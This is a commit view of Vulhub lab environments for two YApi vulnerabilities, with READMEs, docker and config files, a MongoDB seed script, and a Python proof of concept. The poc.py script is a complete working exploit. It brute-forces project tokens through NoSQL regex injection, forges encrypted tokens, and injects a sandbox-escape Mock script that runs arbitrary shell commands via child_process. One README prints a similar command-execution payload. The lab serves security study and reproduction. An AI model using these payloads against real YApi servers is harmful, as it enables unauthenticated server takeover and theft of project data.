first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled

This commit is contained in:
2025-09-06 16:08:15 +08:00
commit 63285f61aa
2624 changed files with 88491 additions and 0 deletions

BIN
yapi/mongodb-inj/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 98 KiB

View File

@@ -0,0 +1,29 @@
# YApi NoSQL injection and remote code execution
[中文版本(Chinese version)](README.zh-cn.md)
YApi is a API testing tools for enterprise. YApi which in the version prior to v1.12.0, are vulnerable to a NoSQL injection, as well as a remote code execution vulnerability. The remote attacker could steal project's token through NoSQL injection without authentication and use this token to execute the Mock script and get shell.
References:
- <https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c>
## Vulnerable Environment
Execute following command to start a YApi server v1.10.2:
```
docker compose up -d
```
After the server is started, you can browse the website at `http://your-ip:3000/`.
## Exploit
The target in Vulhub is a ready-to-use server that contains some example data in MongoDB. So just use [this POC](poc.py) to reproduce the issue:
```
python poc.py --debug one4all -u http://127.0.0.1:3000/
```
![](1.png)

View File

@@ -0,0 +1,29 @@
# YApi NoSQL注入导致远程命令执行漏洞
YApi是一个API管理工具。在其1.12.0版本之前存在一处NoSQL注入漏洞通过该漏洞攻击者可以窃取项目Token并利用这个Token执行任意Mock脚本获取服务器权限。
参考链接:
- <https://github.com/YMFE/yapi/commit/59bade3a8a43e7db077d38a4b0c7c584f30ddf8c>
## 漏洞环境
执行如下命令启动一个YApi v1.10.2服务:
```
docker compose up -d
```
环境启动后,访问`http://your-ip:3000`即可看到YApi首页。
## 漏洞复现
本漏洞的利用需要YApi应用中至少存在一个项目与相关数据否则无法利用。Vulhub环境中的YApi是一个即开即用、包含测试数据的服务器所以可以直接进行漏洞复现。
使用[这个POC](poc.py)来复现漏洞:
```
python poc.py --debug one4all -u http://127.0.0.1:3000/
```
![](1.png)

View File

@@ -0,0 +1,24 @@
{
"port": "3000",
"adminAccount": "admin@admin.com",
"timeout": 120000,
"closeRegister": true,
"db": {
"servername": "mongo",
"DATABASE": "yapi",
"port": 27017,
"user": "root",
"pass": "root",
"authSource": "admin"
},
"mail": {
"enable": true,
"host": "smtp.163.com",
"port": 465,
"from": "***@163.com",
"auth": {
"user": "***@163.com",
"pass": "*****"
}
}
}

View File

@@ -0,0 +1,17 @@
version: '2'
services:
mongo:
image: mongo:5.0.6
environment:
MONGO_INITDB_ROOT_USERNAME: root
MONGO_INITDB_ROOT_PASSWORD: root
MONGO_INITDB_DATABASE: yapi
web:
image: vulhub/yapi:1.10.2
ports:
- "3000:3000"
volumes:
- ./config.json:/usr/config.json
- ./initdb.js:/usr/src/initdb.js
environment:
- MONGO_ADDR=mongo:27017

146
yapi/mongodb-inj/initdb.js Normal file
View File

@@ -0,0 +1,146 @@
const { MongoClient } = require("mongodb");
const url = `mongodb://root:root@${process.env.MONGO_ADDR}/?authSource=admin`;
MongoClient.connect(url, async function(err, client) {
const database = client.db("yapi");
const user = await database.collection("user").findOne();
const temp = await database.collection("project").findOne();
if (temp) {
console.log("database has already been initialized");
client.close();
return
}
const baseid = 66;
await database.collection("group").insertOne({
"_id": baseid,
"custom_field1": {
"enable": false
},
"type": "private",
"uid": user._id,
"group_name": "User-11",
"add_time": parseInt(Date.now()/1000),
"up_time": parseInt(Date.now()/1000),
"members": [],
"__v": 0
});
await database.collection("project").insertOne({
"_id": baseid,
"switch_notice": true,
"is_mock_open": false,
"strice": false,
"is_json5": false,
"name": "vulhub",
"basepath": "",
"members": [],
"project_type": "private",
"uid": user._id,
"group_id": baseid,
"icon": "code-o",
"color": "purple",
"add_time": parseInt(Date.now()/1000),
"up_time": parseInt(Date.now()/1000),
"env": [
{
"header": [],
"name": "local",
"domain": "http://127.0.0.1",
"global": []
}
],
"tag": [],
"__v": 0
});
await database.collection("interface_cat").insertOne({
"_id": baseid,
"index": 0,
"name": "公共分类",
"project_id": baseid,
"desc": "公共分类",
"uid": user._id,
"add_time": parseInt(Date.now()/1000),
"up_time": parseInt(Date.now()/1000),
"__v": 0,
})
await database.collection("interface_col").insertOne({
"_id": baseid,
"checkResponseField": {
"name": "code",
"value": "0",
"enable": false
},
"checkScript": {
"enable": false
},
"index": 0,
"test_report": "{}",
"checkHttpCodeIs200": false,
"checkResponseSchema": false,
"name": "公共测试集",
"project_id": baseid,
"desc": "公共测试集",
"uid": user._id,
"add_time": parseInt(Date.now()/1000),
"up_time": parseInt(Date.now()/1000),
"__v": 0,
})
await database.collection("interface").insertOne({
"_id": baseid,
"edit_uid": 0,
"status": "undone",
"type": "static",
"req_body_is_json_schema": false,
"res_body_is_json_schema": false,
"api_opened": false,
"index": 0,
"tag": [],
"method": "GET",
"catid": baseid,
"title": "sample",
"path": "/",
"project_id": baseid,
"req_params": [],
"res_body_type": "json",
"query_path": {
"path": "/",
"params": []
},
"uid": user._id,
"add_time": parseInt(Date.now()/1000),
"up_time": parseInt(Date.now()/1000),
"req_query": [],
"req_headers": [],
"req_body_form": [],
"__v": 0,
})
await database.collection("interface_case").insertOne({
"_id": baseid,
"index": 0,
"mock_verify": false,
"enable_script": false,
"uid": 11,
"add_time": parseInt(Date.now()/1000),
"up_time": parseInt(Date.now()/1000),
"project_id": baseid,
"col_id": baseid,
"interface_id": baseid,
"casename": "sample",
"req_params": [],
"req_headers": [],
"req_query": [],
"req_body_form": [],
"__v": 0
})
await database.collection("token").insertOne({
"_id": baseid,
"project_id": baseid,
"token": "1cae15606ea4b223b01a",
"__v": 0,
})
await database.collection("identitycounters").updateMany({field: "_id"}, {$set: {count: baseid}})
console.log("finish database initialization");
client.close()
})

345
yapi/mongodb-inj/poc.py Normal file
View File

@@ -0,0 +1,345 @@
import requests
import json
import click
import re
import sys
import logging
import hashlib
import binascii
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from urllib.parse import urljoin
logger = logging.getLogger('attacker')
logger.setLevel('WARNING')
ch = logging.StreamHandler(sys.stdout)
ch.setFormatter(logging.Formatter('%(asctime)s - %(message)s'))
logger.addHandler(ch)
choices = 'abcedf0123456789'
script_template = r'''const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
const Buffer = FunctionConstructor('return Buffer')()
const output = process.mainModule.require("child_process").execSync(Buffer.from('%s', 'hex').toString()).toString()
context.responseData = 'testtest' + output + 'testtest'
'''
def compute(passphase: str):
nkey = 24
niv = 16
key = ''
iv = ''
p = ''
while True:
h = hashlib.md5()
h.update(binascii.unhexlify(p))
h.update(passphase.encode())
p = h.hexdigest()
i = 0
n = min(len(p) - i, 2 * nkey)
nkey -= n // 2
key += p[i:i + n]
i += n
n = min(len(p) - i, 2 * niv)
niv -= n // 2
iv += p[i:i + n]
i += n
if nkey + niv == 0:
return binascii.unhexlify(key), binascii.unhexlify(iv)
def aes_encode(data):
key, iv = compute('abcde')
padder = padding.PKCS7(128).padder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
encryptor = cipher.encryptor()
ct = encryptor.update(padder.update(data.encode()) + padder.finalize()) + encryptor.finalize()
return binascii.hexlify(ct).decode()
def aes_decode(data):
key, iv = compute('abcde')
unpadder = padding.PKCS7(128).unpadder()
cipher = Cipher(algorithms.AES(key), modes.CBC(iv))
decryptor = cipher.decryptor()
ct = decryptor.update(binascii.unhexlify(data)) + decryptor.finalize()
ct = unpadder.update(ct) + unpadder.finalize()
return ct.decode().strip()
def brute_token(target, already):
url = urljoin(target, '/api/interface/up')
current = '^'
for i in range(20):
for ch in choices:
guess = current + ch
data = {
'id': -1,
'token': {
'$regex': guess,
'$nin': already
}
}
headers = {
'Content-Type': 'application/json'
}
response = requests.post(url,
data=json.dumps(data),
headers=headers,
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
res = response.json()
if res['errcode'] == 400:
current = guess
break
logger.debug(f'current cuess: {current}')
return current[1:]
def find_owner_uid(target, token):
url = urljoin(target, '/api/project/get')
for i in range(1, 200):
params = {'token': aes_encode(f'{i}|{token}')}
response = requests.get(url, params=params,
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
if data['errcode'] == 0:
return i
return None
def find_project(target, token, pid=None):
url = urljoin(target, '/api/project/get')
params = {'token': token}
if pid:
params['id'] = pid
response = requests.get(url,
params=params,
#proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
#verify=False,
)
data = response.json()
if data['errcode'] == 0:
return data['data']
def find_col(target, token, brute_from, brute_to):
url = urljoin(target, '/api/open/run_auto_test')
for i in range(brute_from, brute_to):
try:
params = {'token': token, 'id': i, "mode": "json"}
response = requests.get(url,
params=params,
timeout=5,
#proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
#verify=False,
)
data = response.json()
if 'message' not in data:
continue
if data['message']['len'] > 0:
logger.debug('Test Result Found: %r', response.url)
yield i
except requests.exceptions.Timeout:
logger.debug('id=%d timeout', i)
pass
def update_project(target, token, project_id, command):
url = urljoin(target, '/api/project/up')
command_hex = command.encode().hex()
script = script_template % command_hex
response = requests.post(url,
params={'token': token},
json={'id': project_id, 'after_script': script},
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
data = response.json()
return data['errcode'] == 0
def run_auto_test(target, token, col_id):
url = urljoin(target, '/api/open/run_auto_test')
response = requests.get(url,
params={'token': token, 'id': col_id, 'mode': 'json'},
# proxies={'https': 'http://127.0.0.1:8085', 'http': 'http://127.0.0.1:8085'},
# verify=False,
)
try:
data = response.json()
return data['list'][0]['res_body'][8:-8]
except (requests.exceptions.JSONDecodeError, KeyError, IndexError, TypeError) as e:
g = re.search(br'testtest(.*?)testtest', response.content, re.I | re.S)
if g:
return g.group(1).decode()
else:
return None
def clear_project(target, token, project_id, old_after_script):
url = urljoin(target, '/api/project/up')
response = requests.post(url, params={'token': token}, json={'id': project_id, 'after_script': old_after_script})
data = response.json()
return data['errcode'] == 0
@click.group()
@click.option('--debug', 'debug', is_flag=True, type=bool, required=False, default=False)
def cli(debug):
if debug:
logger.setLevel('DEBUG')
@cli.command('enc')
@click.argument('data', type=str, required=True)
def cmd_enc(data: str):
click.echo(aes_encode(data))
@cli.command('dec')
@click.argument('data', type=str, required=True)
def cmd_dec(data: str):
click.echo(aes_decode(data))
@cli.command('token')
@click.option('-u', '--url', type=str, required=True)
@click.option('-c', '--count', type=int, default=5)
def cmd_token(url, count):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
break
click.echo(f'find a valid token: {token}')
already.append(token)
@cli.command('owner')
@click.option('-u', '--url', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_owner(url, token):
aid = find_owner_uid(url, token)
e = aes_encode(f'{aid}|{token}')
click.echo(f'your owner id is: {aid}, encrypted token is {e}')
@cli.command('project')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
def cmd_project(url, owner, token):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token)
if project:
logger.info('[+] project by this token: %r', project)
click.echo(f'your project id is: {project["_id"]}')
@cli.command('col')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--from', 'brute_from', type=int, required=False, default=1, help='Brute Col id from this number')
@click.option('--to', 'brute_to', type=int, required=False, default=200, help='Brute Col id to this number')
def cmd_col(url, owner, token, brute_from, brute_to):
token = aes_encode(f'{owner}|{token}')
for i in find_col(url, token, brute_from, brute_to):
click.echo(f'found a valid col id: {i}')
@cli.command('rce')
@click.option('-u', '--url', type=str, required=True)
@click.option('-o', '--owner-id', 'owner', type=str, required=True)
@click.option('-t', '--token', 'token', type=str, required=True, help='Token that get from first step')
@click.option('--pid', 'project_id', type=int, required=True)
@click.option('--cid', 'col_id', type=int, required=True)
@click.option('-c', '--command', 'command', type=str, required=True, help='Command that you want to execute')
def cmd_rce(url, owner, token, project_id, col_id, command):
token = aes_encode(f'{owner}|{token}')
project = find_project(url, token, project_id)
if not project:
click.echo('[-] failed to get project')
return False
old_after_script = project.get('after_script', '')
if not update_project(url, token, project_id, command):
click.echo('[-] failed to update project')
return False
output = run_auto_test(url, token, col_id)
if output:
click.echo(output)
clear_project(url, token, project_id, old_after_script)
return True
clear_project(url, token, project_id, old_after_script)
return False
@cli.command('one4all')
@click.option('-u', '--url', type=str, required=True)
@click.option('--count', type=int, default=5)
@click.option('-c', '--command', type=str, default='id')
def cmd_one4all(url, count, command):
already = []
for i in range(count):
token = brute_token(url, already)
if not token:
logger.info('[-] no new token found, exit...')
break
already.append(token)
logger.info('[+] find a new token: %s', token)
owner_id = find_owner_uid(url, token)
if not owner_id:
logger.info('[-] failed to find the owner id using token %s', token)
continue
etoken = aes_encode(f'{owner_id}|{token}')
logger.info('[+] find a new owner id: %r, encrypted token: %s', owner_id, etoken)
project = find_project(url, etoken)
if not project:
logger.info('[-] failed to find project using token %s', token)
continue
project_id = project['_id']
logger.info('[+] project_id = %s, project = %r', project_id, project)
col_ids = find_col(url, etoken, 1, 200)
if not col_ids:
logger.info('[+] failed to find cols in project %s, try next project...', project_id)
for col_id in col_ids:
logger.info('[+] col_id = %s', col_id)
click.echo(f'hit: project_id: {project_id} | owner_id: {owner_id} | col_id: {col_id} | token: {token}')
click.echo(f'suggestion: python {sys.argv[0]} rce -u {url} -t {token} -o {owner_id} --pid {project_id} --cid {col_id} --command="{command}"')
if cmd_rce.callback(url, owner_id, token, project_id, col_id, command):
return
if __name__ == '__main__':
cli()

BIN
yapi/unacc/1.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 15 KiB

BIN
yapi/unacc/2.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 16 KiB

BIN
yapi/unacc/3.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 42 KiB

BIN
yapi/unacc/4.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 20 KiB

BIN
yapi/unacc/5.png Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 18 KiB

49
yapi/unacc/README.md Normal file
View File

@@ -0,0 +1,49 @@
# YApi Registration and Mock Remote Code Execution
[中文版本(Chinese version)](README.zh-cn.md)
YApi is a API management tool developed by Node.JS. If registration of the YApi server is enabled, attackers will be able to execute arbitrary Javascript code in the Mock page.
References:
- <https://paper.seebug.org/1639/>
- <https://www.freebuf.com/vuls/279967.html>
## Vulnerability Environment
Execute following command to start a YApi server 1.9.2:
```
docker compose up -d
```
After the server is started, browse the `http://localhost:3000` to see the index page of the YApi.
## Vulnerability Reproduce
Register a normal user then create a project and an interface:
![](1.png)
![](2.png)
There is a "Mock Tab" that you can input JavaScript code, put the evil code into textarea:
```
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()
```
![](3.png)
Then, go back to the preview tab and see the Mock URL:
![](4.png)
Open that URL, Mock script is executed and you can see the output:
![](5.png)

View File

@@ -0,0 +1,49 @@
# YApi开放注册导致RCE
[中文版本(Chinese version)](README.zh-cn.md)
YApi是一个API管理工具。如果注册功能开放攻击者可以使用Mock功能执行任意代码。
参考链接:
- <https://paper.seebug.org/1639/>
- <https://www.freebuf.com/vuls/279967.html>
## 漏洞环境
执行如下命令启动一个YApi 1.9.2
```
docker compose up -d
```
环境启动后,访问`http://your-ip:3000`即可查看到YApi首页。
## 漏洞复现
首先,注册一个用户,并创建项目和接口:
![](1.png)
![](2.png)
接口中有一个Mock页面可以填写代码我们填写包含恶意命令的代码
```
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("id;uname -a;pwd").toString()
```
![](3.png)
然后回到“预览”页面可以获得Mock的URL
![](4.png)
打开这个URL即可查看到命令执行的结果
![](5.png)

23
yapi/unacc/config.json Normal file
View File

@@ -0,0 +1,23 @@
{
"port": "3000",
"adminAccount": "admin@admin.com",
"timeout":120000,
"db": {
"servername": "mongo",
"DATABASE": "yapi",
"port": 27017,
"user": "root",
"pass": "root",
"authSource": "admin"
},
"mail": {
"enable": true,
"host": "smtp.163.com",
"port": 465,
"from": "***@163.com",
"auth": {
"user": "***@163.com",
"pass": "*****"
}
}
}

View File

@@ -0,0 +1,16 @@
version: '2'
services:
mongo:
image: mongo:5.0.6
environment:
MONGO_INITDB_ROOT_USERNAME: root
MONGO_INITDB_ROOT_PASSWORD: root
MONGO_INITDB_DATABASE: yapi
web:
image: vulhub/yapi:1.9.2
ports:
- "3000:3000"
volumes:
- ./config.json:/usr/config.json
environment:
- MONGO_ADDR=mongo:27017